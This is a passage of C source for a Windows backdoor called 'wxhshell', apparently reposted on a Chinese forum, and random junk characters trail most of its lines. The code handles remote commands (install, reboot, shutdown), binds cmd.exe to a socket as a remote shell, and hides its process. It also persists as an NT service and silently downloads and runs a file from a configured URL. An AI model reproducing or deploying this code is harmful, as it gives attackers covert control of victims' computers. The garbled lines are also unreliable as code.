    switch(cmd[0]) { k'_f?_PBu  
  h% KEg667  
  // 帮助 aAbA)'G  
  case '?': { ,]@K,|pC)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t7xJ$^p[|K  
    break; m_;fj~m  
  } `KtP ;nG  
  // 安装 .*f 6n|  
  case 'i': { ?em8nZ'  
    if(Install()) _9]vlxgtG(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -wrVEH8  
    else Qd~z<U l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \vJ0Mhk1  
    break; S6}_N/;6~  
    } |{Ex)hkw  
  // 卸载 x|yJCs>  
  case 'r': { EjFn\|VK  
    if(Uninstall()) ",&QO 7_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F b?^+V]9  
    else (3K3)0fy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &l0K~7)b  
    break; _|4R^*/ 4  
    } /@|iI<|  
  // 显示 wxhshell 所在路径 %W8iC%~  
  case 'p': { o">~ObR  
    char svExeFile[MAX_PATH]; M(nzJ  
    strcpy(svExeFile,"\n\r");  ?HRS*  
      strcat(svExeFile,ExeFile); "-djA,`  
        send(wsh,svExeFile,strlen(svExeFile),0); Pro?xY$E)  
    break; <5D4h!  
    } Xy%||\P{)  
  // 重启 {Ef.wlZ  
  case 'b': { ii_kgqT^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2 F>Y{3&  
    if(Boot(REBOOT)) [|ZFei)r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yuy\T(7BN  
    else { \I:27:iAL  
    closesocket(wsh); h]h"-3  
    ExitThread(0); `u}_O(A1pA  
    } _}Qtx/Cg  
    break; z bYv}q  
    } } A+ncabm  
  // 关机 u178vby;l  
  case 'd': { /='0W3+o*L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p @kRo#~l  
    if(Boot(SHUTDOWN)) t VO}{[U}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5p{ O>D[z  
    else { u 3#+fn_  
    closesocket(wsh); ]:#=[ CH  
    ExitThread(0); ,{!,%]bC  
    } &:5*^1oP  
    break; W03mdRW  
    } lHtywZ@%3  
  // 获取shell bJetqF6 n  
  case 's': { r@}`Sw]@  
    CmdShell(wsh); [:.wCG5  
    closesocket(wsh); BK%. wi  
    ExitThread(0); { PX&#,_  
    break; #lrwKHZ+  
  } Et!J*{s  
  // 退出 'bJGQ[c  
  case 'x': { z`IW[N7Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _$96y]Bpi  
    CloseIt(wsh); 8 7(t<3V&  
    break; =X?fA,  
    } !Pw*p*z  
  // 离开 7H)$NG<U$  
  case 'q': { ;O% H]oN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kW)3naUf<  
    closesocket(wsh); o *J*} y  
    WSACleanup(); !h4T3sO  
    exit(1); : c~SH/qS  
    break; TL2E|@k1]  
        } @>Yd6C  
  } R1X'}#mU  
  } .*x:  
q4[8\Ua  
  // 提示信息 {6H[[7i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }lIc{R@H  
} V*b/N  
  } Cu8mNB{H  
T4] 2R  
  return; F*[E28ia&  
} qg& /!\  
EjLq&QR.  
// shell模块句柄 $KYGQP  
int CmdShell(SOCKET sock) WVRIq'  
{ >t3_]n1e  
STARTUPINFO si; VKl,m ;&N  
ZeroMemory(&si,sizeof(si)); 6 X~><r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ).;{'8Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i"}z9Ae~.  
PROCESS_INFORMATION ProcessInfo; n7fhc*}:`  
char cmdline[]="cmd"; !CUl1L1DSi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8{jXSCP#  
  return 0; dhtH&:J< ;  
} Q4m> 3I  
4j=3'Z|  
// 自身启动模式 M5h r0 R{  
int StartFromService(void) IFTNr2I  
{ 20V~?xs~  
typedef struct Zu,:}+niU  
{ `.MZ,Xhqi"  
  DWORD ExitStatus; (U.Go/A#wE  
  DWORD PebBaseAddress; ;|WUbc6&g  
  DWORD AffinityMask; OM[MRZEh G  
  DWORD BasePriority; D{N8q^Cs9  
  ULONG UniqueProcessId; GK}52,NM  
  ULONG InheritedFromUniqueProcessId; M!J7Vj?Ps  
}   PROCESS_BASIC_INFORMATION; + f67y  
ri{*\LV*@  
PROCNTQSIP NtQueryInformationProcess; P:'wSE91  
3P6O]x<-?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p-}X=O$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oh8:1E,I  
@e)}#kN.  
  HANDLE             hProcess; f256;3n  
  PROCESS_BASIC_INFORMATION pbi; X%'z  
"@&TC"YG0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W^[FWFUTY  
  if(NULL == hInst ) return 0; Y/5M)AyJt  
6Cj7 =|L7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2'?'dfj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 23):OB>S`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !G3AD3  
gsyOf*Q$  
  if (!NtQueryInformationProcess) return 0; s$Y>nH~T  
W<)P@_+-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2|>\A.I|=  
  if(!hProcess) return 0; 9~Dg<wQ  
z ?\it(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KQPu9f9  
@PvO;]]%  
  CloseHandle(hProcess); o^@"eG$,  
'GJB9i+a^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [h3xW  
if(hProcess==NULL) return 0; h9Far8}  
"r&,#$6W6  
HMODULE hMod; P$obID  
char procName[255]; `DY yK?R  
unsigned long cbNeeded; ,s~l; Gkj  
5?-HQoT)G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "ioO_  
wmr?ANk  
  CloseHandle(hProcess); ^Gk`n  
zTg\\z;  
if(strstr(procName,"services")) return 1; // 以服务启动 XZIapT  
'|IcL1c=I  
  return 0; // 注册表启动 l ;:IL\*1I  
} }Z"iW/?"  
-$Z1X_~;)<  
// 主模块 !rUP&DA  
int StartWxhshell(LPSTR lpCmdLine) l53i {o  
{ >_?i)%+)  
  SOCKET wsl; TwkT|Piw S  
BOOL val=TRUE; &!8 WRJ  
  int port=0; =npE?wK  
  struct sockaddr_in door; tY"eoPme  
8zx]/ >  
  if(wscfg.ws_autoins) Install(); %y6Q3@  
?),b902C  
port=atoi(lpCmdLine); |Vpp'ipr  
~qgh w@Q~  
if(port<=0) port=wscfg.ws_port; +5zXbfO  
gs'M^|e)  
  WSADATA data; -%` ~3*L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w jkh*Y  
<< >+z5D+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aRMlE*yW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KOy{?  
  door.sin_family = AF_INET; lMY\8eobcB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '3>;8(s l  
  door.sin_port = htons(port); XKjrS 9:  
Ljy797{f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K{P-+(  
closesocket(wsl); uos8Mav{E  
return 1; ]@$^Ju,  
} cLZ D\1Mt  
P=n_wE  
  if(listen(wsl,2) == INVALID_SOCKET) { 59Pc:Gg;  
closesocket(wsl); R0-0  
return 1; bB_LL  
} Jp=qPG|  
  Wxhshell(wsl); U?0|2hR~  
  WSACleanup(); ftYJ 3/WH  
1 (<n^\J(  
return 0; Wu][A\3D1  
ZE=sw}=  
} +_]Ui| l  
7%^G ]AFi  
// 以NT服务方式启动 JH.XZM&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P)Adb~r  
{ h[remR# 3\  
DWORD   status = 0; PF~@@j  
  DWORD   specificError = 0xfffffff; kk=n&M  
ZsP^<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k$kE5kh,S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HgQjw!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !eyLh&]5  
  serviceStatus.dwWin32ExitCode     = 0; mo| D  
  serviceStatus.dwServiceSpecificExitCode = 0; 5T;LWS  
  serviceStatus.dwCheckPoint       = 0; ahl|N`  
  serviceStatus.dwWaitHint       = 0; l?m"o-Gp3  
=!\Nh,\eQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #p(gB)o:l  
  if (hServiceStatusHandle==0) return; Xw4Eti._D  
qf0pi&q  
status = GetLastError(); Nh!`"B2B  
  if (status!=NO_ERROR) X?_rD'3  
{ WzzA:X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  ew1L+  
    serviceStatus.dwCheckPoint       = 0; e/D{^*~S  
    serviceStatus.dwWaitHint       = 0; <,~OcJG(   
    serviceStatus.dwWin32ExitCode     = status; x/s:/YN'  
    serviceStatus.dwServiceSpecificExitCode = specificError; AIHH@z   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [PIMG2"G  
    return; i-CJ{l  
  }  V(&L  
`LkrG9KV{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dmh$@Uu#F  
  serviceStatus.dwCheckPoint       = 0; 1mmL`M1  
  serviceStatus.dwWaitHint       = 0; puOtF YZ\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rp@:i _]  
} |nQfgl=V  
~-'2jb*8  
// 处理NT服务事件,比如:启动、停止 ']nIa7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TQn!MUj/^  
{ oKn$g[,SJh  
switch(fdwControl) 1`8s "T  
{ N?@^BZ  
case SERVICE_CONTROL_STOP: t1Ts!Q2  
  serviceStatus.dwWin32ExitCode = 0; d'_q9uf'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l+Wux$6U  
  serviceStatus.dwCheckPoint   = 0; (:bf m  
  serviceStatus.dwWaitHint     = 0; /4r2B. 91O  
  { 0fqcPi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q'jOI_b  
  } ei= 4u'  
  return; \'y]mB~k  
case SERVICE_CONTROL_PAUSE:  7UBDd1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )w].m  
  break; uc,>VzdB  
case SERVICE_CONTROL_CONTINUE: #*A&jo'E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  LDg9@esi  
  break; &E`Nu (e  
case SERVICE_CONTROL_INTERROGATE: b~^'P   
  break; /O[6PG  
}; :I#.d7`uk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^(;x-d3  
} o CCtjr  
ROkwjw  
// 标准应用程序主函数 qJ;~ANwt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sV"tN2W@  
{ %wbdg&^  
u(Mbp$R' ?  
// 获取操作系统版本 <J^5l0)q  
OsIsNt=GetOsVer(); 0N1t.3U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,3?=W/Um4  
8O^x~[sQ  
  // 从命令行安装 >M5}L<  
  if(strpbrk(lpCmdLine,"iI")) Install(); f,O10`4s  
?^|[Yzk  
  // 下载执行文件 g V]4R"/  
if(wscfg.ws_downexe) { IgbuMEfL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'fn}I0Vc  
  WinExec(wscfg.ws_filenam,SW_HIDE); t]&.'n,  
} j)@W1I]2#  
Ny"9!3V   
if(!OsIsNt) { l4RqQ+[KA;  
// 如果时win9x,隐藏进程并且设置为注册表启动 X0j\nXk  
HideProc(); F>.y>h  
StartWxhshell(lpCmdLine); *A9v8$  
} ?,VpZ%Df2  
else ewcFzlA@  
  if(StartFromService()) !hHe`  
  // 以服务方式启动 ^6Aa^|  
  StartServiceCtrlDispatcher(DispatchTable); 8g=O0Gb  
else S*Ea" vBA  
  // 普通方式启动 2[Bbdg[O  
  StartWxhshell(lpCmdLine); ,i*rHMe  
`)O9 '568  
return 0; N~|f^#L  
}
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只看该作者 1 发表于: 2006-10-10
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